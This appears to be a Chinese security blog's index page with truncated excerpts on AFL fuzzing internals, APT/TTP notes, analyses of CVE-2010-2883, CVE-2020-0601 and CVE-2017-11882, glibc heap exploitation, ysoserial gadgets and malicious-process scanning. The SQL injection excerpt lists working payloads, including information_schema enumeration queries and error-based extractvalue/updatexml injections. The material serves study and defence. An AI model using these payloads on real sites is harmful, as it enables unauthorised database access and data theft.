afl-fuzz.c细节分析之perform_dry_run函数分析123456789/*直接运行所有的初始testcase来确保程序按照预期运行,这个操作只会进行一次。 */static void perform_dry_run(char** argv){ ...... while(q){ ...... }}
取队列,并设置cal_failures为0:
12struct queue_entry* q = queue;u32 cal_failures = 0;
读取环境变量AFL_SKIP_CRASHES为skip_crashes:
1u8* skip_crashes = getenv("AFL_SKIP_CRASHES");
然后是进入队列的循环:
123while(q){ ......}
循环内容如下:
打开当前testcase,并判断是否可读:
123456789fd = open(q->fname, O_RDONLY); //tes ...
APT分析及TTPs提取
转自project #,写的很不错,做个笔记(抄一下加深印象)。
攻击事件这里专指网络空间安全领域的攻击事件,即在未经授权情况下对计算机系统或计算机资源进行访问、使用、更改、破坏的活动。 根据事件的烈度以及影响范围,可分为以下几类:
常规攻击;
常规攻击一般呈线性,时间复杂度低,杂音少,可直接推出攻击目的。如:非定向钓鱼,端口,服务扫描,SQL注入,拒绝服务攻击,会话劫持,中间人攻击,凭证重放等。这类事件影响小,危害可控且可在短时间内排查修复。
Botnet;
僵尸网络特点是大规模攻击,并且涉及到RAT。如:Neucurs,Gafgyt,Mirai,僵尸网络上的垃圾邮件,Ddos等。
恶意软件;
恶意软件一般指勒索,挖矿以及病毒木马。涉及钱包,矿池;目的不同,且包含RAT;不同的入口,也会出现标志性的工具和利用。如:WannaCry,Bad Rabbit,大量MiktoTik路由器被感染进行恶意挖矿等。
APT
APT攻击时间复杂度高,多个行为,多个身份,使用的软件有loader,Downloader,RAT,Malware等。知名APT组 ...
CVE-2010-2883分析漏洞简述
漏洞成因:CoolType.dll库对SING表解析时调用了strcat函数,未对uniqueName字段的字符串长度进行检查,将其直接复制到了栈空间,导致了栈溢出。
影响版本:Adobe Reader 9.3.4
分析环境:windows xp sp3 简体中文
漏洞溯源漏洞触发操作如下:
123456.text:0803DD9F add eax, 10h ; get uniqueName addr.text:0803DDA2 push eax ; char *.text:0803DDA3 lea eax, [ebp+108h+var_108] ; get dst addr.text:0803DDA6 push eax ; char *.text:0803DDA7 mov [ebp ...
CVE-20200601分析最近在处理任务中经常看到利用此漏洞的情景,着重研究下。
介绍CVE对该漏洞的简述:
Windows CryptoAPI(Crypt32.dll)验证ECC证书的方法中存在一个欺骗性漏洞,攻击者可以使用伪造的数字码签名证书对一个恶意的可执行文件进行签名来利用该漏洞,使可执行文件看起来像是来自一个可信任的、合法的来源。该漏洞也被称为“Windows CryptoAPI Spoofing Vulnerability”。
在真实环境中,攻击者利用该漏洞可以让一些恶意代码(如勒索病毒)拥有看上去可信任的证书,使得被攻击者安装恶意代码;攻击也可以通过中间人攻击的方式获取被攻击者连接受影响软件的机密信息。
数字签名简单说明下数字签名。
Bob与Alice进行通信,Bob拥有私钥d,Alice拥有公钥e。Bob向Alice发送消息message,Alice需要确保消息的以下两个性质:
真实性,即消息确实是从Bob发送过来的;
完整性,即消息在传输过程中未经过修改;
真实性Bob首先使用单向散列函数将消息message转换为摘要digest:
1Hash(messa ...
CVE-2017-11882分析漏洞简述
漏洞成因:该漏洞出现在office的模块EQNEDT32.EXE中, 该模块为windows的公式编辑器, 使用OLE技术(对象链接与嵌入)将公式嵌入在office文档内。当公式编辑器EQNEDT32.EXE读入包含MathType的OLE数据,在拷贝公式字体名称时没有对名称长度进行校验,使得攻击者可以使用ROP调用模块内的WinExec函数执行任意指令。
影响版本:Microsoft Office 2007 Service Pack 3,Microsoft Office 2010 Service Pack 2,Microsoft Office 2013 Service Pack 1, Microsoft Office 2016
POC:https://github.com/Ridter/CVE-2017-11882
实验环境:Windows 7 Ultimate Service Pack 1;Microsoft Office 2010
漏洞分析及利用漏洞存在位于0x41160F的sub_41160F函数。
可以看到这里再读入公式的 ...
Glibc Heap ExpGlibc Heap OverviewGLibc Heap
负责维护动态分配memory的结构称为Heap
Libc里比较常用的部分是malloc,free,realloc
C++的new,delete,底层是上述几个
配置新的内存块,释放掉并回收不需要的部分,在配置内存的时候尽量避免[碎片化]
Heap相关的漏洞利用
UAF
Double free
Heap overflow
Glibc Heap相关概念
glibc/malloc/malloc.c
要做到内存的管理:
有哪些位置的内存可以分配
有哪些位置因为free可以回收
有哪些位置使用中则不需要记录,使用它们的人应该记住这些指标
整个Heap的信息记录在一个malloc_state的struct中,称为main_arena
malloc分配的内存称为chunk,比要求的大小大一些,因为需要记录一些维护Heap用的额外信息
Arena和heap分配的内存分开存放,heap overflow无法直接覆盖掉它的部分
回收的chunk用linked list记录,称为bin
main_are ...
web
未读有关SQL注入查看开发者使用哪种查询
?id=1’—+
?id=1—+
?id=1’)—+
?id=1”)—+
?id=1”))-++
爆库,表,字段猜数据库1select schema_name from information_schema.schemata
猜某库的数据表1select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列1Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容1Select *** from ****
基于报错的盲注基于xpath语法错误1234?id=extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+?id=updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+?nid=12' and extractv ...
ysoserial gadgetsfrom su18:https://su18.org/tag/V0FeVGMWY/
URLDNSjava.net.URL的hashCode函数会调用getHostAddress触发DNS请求:
123456789101112131415161718192021222324252627282930313233343536373839404142434445public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode;}//handler.hashCode():protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (pr ...
reverse
未读恶意进程特征提取前段时间在做Linux系统下恶意进程扫描的相关工作,简单来说就是对进程内存进行正则匹配,然后将匹配到的进程揪出来,简化版本的代码如下:
12345678910111213141516171819202122232425262728293031323334353637383940414243import re# 获取进程信息代码简化为读取"/proc"文件里的内容,地址为heap向上的一片内存# 获取进程的起始地址等信息def get_process_addr(pid): map_file = open("/proc/"+str(pid)+"/maps","rb") line = bytes.decode(map_file.readline()) start_addr = int(line.split("-")[0],16) maps_list = [] for line in map_file.readlines(): lin ...
哲学是什么?学哲学的难点:并非自然科学;需要系统的哲学史学习;没有统一的范式,不存在谁对谁错。
学习哲学史的意义哲学史这个学科是从黑格尔才开始的,号称发现了哲学发展的内在规律。
黑格尔:哲学就是哲学史。
黑格尔认为,历史上的哲学家都把握了绝对精神的地某个因素,整个哲学史无非是对绝对精神的认识过程,最晚出的哲学体系是对以往合理因素对绝对精神的整体把握,这就是科学。黑格尔致力于将哲学变成系统的哲学。
黑格尔哲学体现着西方哲学的思维方式——西方哲学的科学情结。
但实际上,哲学无法达到科学知识所特有的确定性,这就使哲学陷入了极为尴尬的境地,它的问题几乎都是无法解答或者没有终极答案的难题。
自然科学:自下而上的抽象概念。哲学:自上而下的抽象概念。
哲学问题是永恒无解的,没有终极答案的问题。
没有哲学家解决问题,反而代表了每个哲学家的思想都是解决问题的一种方式。
哲学问题的分类:
终极关怀问题
最基本的问题
哲学也不存在一个确定性的答案,只能看成围绕哲学问题的一个不断地探索。
学哲学史其实就是学习前人的思想方式,并活用到当下。
学习哲学史的方法:
了解哲学家的问题
熟悉哲学家的术语
遵 ...